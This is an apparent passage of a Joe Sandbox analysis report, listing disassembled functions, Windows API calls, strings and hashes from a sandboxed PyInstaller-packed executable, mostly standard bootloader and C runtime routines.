Part of subcall function 00007FF7FA724818: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA72482C

Part of subcall function 00007FF7FA719E48: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF7FA721E72,?,?,?,00007FF7FA721EAF,?,?,00000000,00007FF7FA722375,?,?,?,00007FF7FA7222A7), ref: 00007FF7FA719E5E
Part of subcall function 00007FF7FA719E48: GetLastError.KERNEL32(?,?,?,00007FF7FA721E72,?,?,?,00007FF7FA721EAF,?,?,00000000,00007FF7FA722375,?,?,?,00007FF7FA7222A7), ref: 00007FF7FA719E68

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7FA72535C), ref: 00007FF7FA725143

Strings

W. Europe Standard Time, xrefs: 00007FF7FA7251E9
W. Europe Summer Time, xrefs: 00007FF7FA725201

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorInformationLanguagesLastPreferredRestoreThreadTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time
API String ID: 2248164782-690618308
Opcode ID: 6a4653e18601d3b1e77d8173c576dc07d233a5b3d88cbe8539a6bd7f52c7a8a1
Instruction ID: 8edb7ba53d905b47870bc6d2425f6d52cdc105e30769db71f9bc7d745bb80c0f
Opcode Fuzzy Hash: 6a4653e18601d3b1e77d8173c576dc07d233a5b3d88cbe8539a6bd7f52c7a8a1
Instruction Fuzzy Hash: 9E519336A1C64286F720FF21E8809A9A3A4FB4C744FC14175EA6D476D6DF3CE4408BB4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA7017B0 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fread_nolock.LIBCMT ref: 00007FF7FA70185C
_fread_nolock.LIBCMT ref: 00007FF7FA70190E

Part of subcall function 00007FF7FA70F3A0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA70F3B4

Part of subcall function 00007FF7FA702770: MessageBoxW.USER32 ref: 00007FF7FA702845

Strings

fread, xrefs: 00007FF7FA70186E
fseek, xrefs: 00007FF7FA701836
Cannot read Table of Contents., xrefs: 00007FF7FA701995
malloc, xrefs: 00007FF7FA7018EA
MEI, xrefs: 00007FF7FA7017EF
Failed to read cookie!, xrefs: 00007FF7FA701867
Could not allocate buffer for TOC!, xrefs: 00007FF7FA7018E3
Could not read full TOC!, xrefs: 00007FF7FA701919
Failed to seek to cookie position!, xrefs: 00007FF7FA70182F
Error on file., xrefs: 00007FF7FA70193D

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _fread_nolock$Message_invalid_parameter_noinfo
String ID: Cannot read Table of Contents.$Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 2153230061-4158440160
Opcode ID: adc69b987342b4e0a15779a38388efd1d20583f6f9ae427a89fc4f1b2f0bf3ab
Instruction ID: 8d6d9c838e7610647e7d2afd846e32a95966ea1c39e980a70a2b122364472e1e
Opcode Fuzzy Hash: adc69b987342b4e0a15779a38388efd1d20583f6f9ae427a89fc4f1b2f0bf3ab
Instruction Fuzzy Hash: 84518D72A19A4286FB54EF25D850978B3A0EF4CB58B918175DA2C833D9DF3CE540CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA701440 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fread, xrefs: 00007FF7FA7015EC
fseek, xrefs: 00007FF7FA701500
fwrite, xrefs: 00007FF7FA7015DC
malloc, xrefs: 00007FF7FA701560
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7FA7015D5
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7FA7015E5
fopen, xrefs: 00007FF7FA701491
Failed to extract %s: failed to open target file!, xrefs: 00007FF7FA70148A
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7FA7014F9
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7FA701559
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7FA7014CA

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID:
String ID: Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 0-666925554
Opcode ID: 90c317af85bad06684a0da938e17847a5a9262db242f8b97911ffb09641f1ac1
Instruction ID: d16603830f05ab3daa67818bdc7b37e28ae1377e1c1a57ab63d99a4f327a8a33
Opcode Fuzzy Hash: 90c317af85bad06684a0da938e17847a5a9262db242f8b97911ffb09641f1ac1
Instruction Fuzzy Hash: B1517C61B1864285FB20BF11E810EB9A390AF49B94F8481B1EE2D477D5EF3CE54587B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA7078D0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,00007FF7FA70687A,?,?,00000000,?,?,00007FF7FA70676D), ref: 00007FF7FA707910
OpenProcessToken.ADVAPI32(?,?,00000000,?,?,00007FF7FA70676D), ref: 00007FF7FA707921
GetTokenInformation.KERNELBASE(?,?,00000000,?,?,00007FF7FA70676D), ref: 00007FF7FA707943
GetLastError.KERNEL32(?,?,00000000,?,?,00007FF7FA70676D), ref: 00007FF7FA70794D
GetTokenInformation.KERNELBASE(?,?,00000000,?,?,00007FF7FA70676D), ref: 00007FF7FA70798A
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7FA70799C
CloseHandle.KERNEL32(?,?,00000000,?,?,00007FF7FA70676D), ref: 00007FF7FA7079B4
LocalFree.KERNEL32(?,?,00000000,?,?,00007FF7FA70676D), ref: 00007FF7FA7079E6
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF7FA707A0D
CreateDirectoryW.KERNELBASE(?,?,00000000,?,?,00007FF7FA70676D), ref: 00007FF7FA707A1E

Strings

D:(A;;FA;;;%s), xrefs: 00007FF7FA7079C9
S-1-3-4, xrefs: 00007FF7FA7079BF

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Token$ConvertDescriptorInformationProcessSecurityString$CloseCreateCurrentDirectoryErrorFreeHandleLastLocalOpen
String ID: D:(A;;FA;;;%s)$S-1-3-4
API String ID: 4998090-2855260032
Opcode ID: 03e154d72cef7596c19cf90f58cf8d02b1ad3eb61a0626a7ad8befbf5a95a7ea
Instruction ID: 316089aad795c76e318e059d72903381c2a2f24863a63f4b3cefcfea5ffa2731
Opcode Fuzzy Hash: 03e154d72cef7596c19cf90f58cf8d02b1ad3eb61a0626a7ad8befbf5a95a7ea
Instruction Fuzzy Hash: 3941A93162CA4685FB10AF11E844AAAB371FF88755F804271EA6E476D5DF3CD404CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA707000 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7FA707A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7FA7026FB), ref: 00007FF7FA707A9A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF7FA703A50), ref: 00007FF7FA70704F
GetStartupInfoW.KERNEL32 ref: 00007FF7FA70706E

Part of subcall function 00007FF7FA7191B4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA7191C8

Part of subcall function 00007FF7FA716F28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA716F8F

GetCommandLineW.KERNEL32 ref: 00007FF7FA70710E
CreateProcessW.KERNELBASE ref: 00007FF7FA707150
WaitForSingleObject.KERNEL32 ref: 00007FF7FA707164
GetExitCodeProcess.KERNEL32 ref: 00007FF7FA707174

Strings

Error creating child process!, xrefs: 00007FF7FA707180
CreateProcessW, xrefs: 00007FF7FA707187

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: 70482ae767ba9e09b517fd1531fb7070f55263243fe81ec667caeea18f8722ee
Instruction ID: 0baa477fbb5568b03876b424187d2bb18c6712dea55439bcecf0a1e18185e297
Opcode Fuzzy Hash: 70482ae767ba9e09b517fd1531fb7070f55263243fe81ec667caeea18f8722ee
Instruction Fuzzy Hash: 9C416732A1878281EB20AF20E8456AAF3A0FB98770F904335E5BD437D5DF7CD0448BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA701000 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 273
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7FA703BC0: GetModuleFileNameW.KERNEL32(?,00007FF7FA7036B9), ref: 00007FF7FA703BF1

SetDllDirectoryW.KERNEL32 ref: 00007FF7FA7038C5

Part of subcall function 00007FF7FA7069B0: GetEnvironmentVariableW.KERNEL32(00007FF7FA703707), ref: 00007FF7FA7069EA
Part of subcall function 00007FF7FA7069B0: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7FA706A07

Strings

MEI, xrefs: 00007FF7FA703807
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF7FA7037AE
Cannot side-load external archive %s (code %d)!, xrefs: 00007FF7FA70384C
Failed to convert DLL search path!, xrefs: 00007FF7FA7038AD
_MEIPASS2, xrefs: 00007FF7FA7036F3, 00007FF7FA70375C, 00007FF7FA703A0B, 00007FF7FA703A1B
_PYI_ONEDIR_MODE, xrefs: 00007FF7FA70371C, 00007FF7FA703747

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-3602715111
Opcode ID: 688f6b35e79af08c7bd1954260b19f73ad8249a08192b0706c29340b8d4f4ce6
Instruction ID: 1c9758d634d14ac8dfa2a3f039b3ae16e744e23b9bf1e48ef63ca1f9bd1a4c7b
Opcode Fuzzy Hash: 688f6b35e79af08c7bd1954260b19f73ad8249a08192b0706c29340b8d4f4ce6
Instruction Fuzzy Hash: 11B18461A2C58341FB24BF219D51ABE9391AF5C784FC080B2EA6D476D6EF2CE50587F0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA701050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7FA7010B4
malloc, xrefs: 00007FF7FA7010F8, 00007FF7FA701126
1.2.13, xrefs: 00007FF7FA70107E
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7FA7010F1
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7FA70111F
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7FA701249

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Message
String ID: 1.2.13$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-1655038675
Opcode ID: 8ac0773f6c67419f56cda63ff3c0794e3adb5341b88274088c89ab46326555b3
Instruction ID: 2907dc067d3a46051e7b787a3329b3b50eb656a64ef5af835cfdbc82ceaef05d
Opcode Fuzzy Hash: 8ac0773f6c67419f56cda63ff3c0794e3adb5341b88274088c89ab46326555b3
Instruction Fuzzy Hash: 0C51A162A0868285FB60BF11A850BBAA390FF48794F848171DA6D877C5EF3CE544C7B4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71AF5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA71B389

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bb836f15fd7b84d0eab272938f235470d80225e915ddf6716f0527cb605fae18
Instruction ID: 000b6e6d6acbaade7095e1cde0c9fc9b324ec13f01483c2b754656c81bca204b
Opcode Fuzzy Hash: bb836f15fd7b84d0eab272938f235470d80225e915ddf6716f0527cb605fae18
Instruction Fuzzy Hash: 0AC10522A0C78681F720AF15D440ABDA7E4FBC9BA0F951171DA6E037D1CE7CE44987B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71C460 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF7FA71C44B), ref: 00007FF7FA71C57C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF7FA71C44B), ref: 00007FF7FA71C607

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 5c9562be74e3e011b14f36cc2d5f23b575e471fae160cb885922e2a719cf7448
Instruction ID: 60ec69b8996ed1d49e1c8106e53fc689ac0938bc834685ff32a44ca5e9518f1c
Opcode Fuzzy Hash: 5c9562be74e3e011b14f36cc2d5f23b575e471fae160cb885922e2a719cf7448
Instruction Fuzzy Hash: F2910532F1865185F760AFA58450ABDABE0BB48BA8FE45179DE1E53AC4CF38D441C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71E90C Relevance: 6.2, APIs: 4, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF7FA71E9FC
_get_daylight.LIBCMT ref: 00007FF7FA71EA0D
_get_daylight.LIBCMT ref: 00007FF7FA71EA1E
_isindst.LIBCMT ref: 00007FF7FA71EAE9

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 8bf97934fac92d6cf6f5aeec7a7ab7ef5245e80df15cb27ed03d14056eff3848
Instruction ID: c63515fb6bb7259cd6bd2c0636ab1023ce647f2db9c6a0e18e0650650968224f
Opcode Fuzzy Hash: 8bf97934fac92d6cf6f5aeec7a7ab7ef5245e80df15cb27ed03d14056eff3848
Instruction Fuzzy Hash: 75510B72F0421146FB14EF649941ABDA7E1BB08379F904175EE3E526D5DB3CA402C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA714804 Relevance: 6.1, APIs: 4, Instructions: 119
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE ref: 00007FF7FA714837
GetFileInformationByHandle.KERNELBASE ref: 00007FF7FA714899
GetLastError.KERNEL32 ref: 00007FF7FA71492A
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7FA71473C), ref: 00007FF7FA714976

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
